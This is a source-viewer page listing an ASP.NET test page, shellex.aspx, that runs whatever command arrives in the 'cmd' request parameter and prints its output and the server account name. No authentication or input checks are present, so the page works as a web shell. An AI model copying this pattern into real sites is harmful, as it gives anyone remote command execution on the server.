Source Viewer:  shellex.aspx

Font Size:
AssemblyVersion.cs  CollectionView.cs  CombineWordDocs.cs  ConfigSectionHandler.cs  DateTimeParse.cs  DaylightSavings.cs  GetIeProxySettings.cs  iTextSharp-NestedTables.cs  iTextSharp-Simple.cs  shellex.aspx  TypeView.cs  Util.ConsoleTools.cs 
.. 

<html> <head> <title>Test: Start Process in ASPX</title> <link rel="stylesheet" href="style/basic.css"/> </head> <script language="C#" runat=server> private string RunProcess(string cmd) { System.Diagnostics.Process p; p= new System.Diagnostics.Process(); p.StartInfo.FileName= cmd; p.StartInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden; p.StartInfo.RedirectStandardOutput = true; p.StartInfo.UseShellExecute = false; p.Start(); // must have the readToEnd BEFORE the WaitForExit(), to avoid a deadlock condition string output= p.StandardOutput.ReadToEnd(); p.WaitForExit(); return output; } public void Page_Load(Object Sender, EventArgs E) { string command= Request.Params["cmd"]; if ((command == null) || (command == "")) { ErrorFromTheCommand.Text= "No Command Specified."; ContentFromTheCommand.Text= ""; } else { String theOutput= null; try { theOutput = RunProcess(command); ContentFromTheCommand.Text= "output is: <xmp>" + theOutput + "</" + "xmp>"; ErrorFromTheCommand.Text= ""; } catch (System.Exception e) { ErrorFromTheCommand.Text= e.ToString(); ContentFromTheCommand.Text= ""; } } } </script> <body> <h3>Start Process (Test)</h3> This page is running as <h6> <%= System.Security.Principal.WindowsIdentity.GetCurrent().Name %> </h6> <form id="form1" runat="server"> cmd to exec: <asp:textbox id="cmd" name="cmd" value="c:\cygwin\bin\date.exe" runat="server" columns="50" /> <br/> <asp:button runat="server" Text="go!" /> </form> <hr/> <asp:label id="ContentFromTheCommand" runat="server"/> <asp:label style="color:red;" id="ErrorFromTheCommand" runat="server"/> </body> </html>

The srcview page has been enjoyed 290315 times since 18 September 2003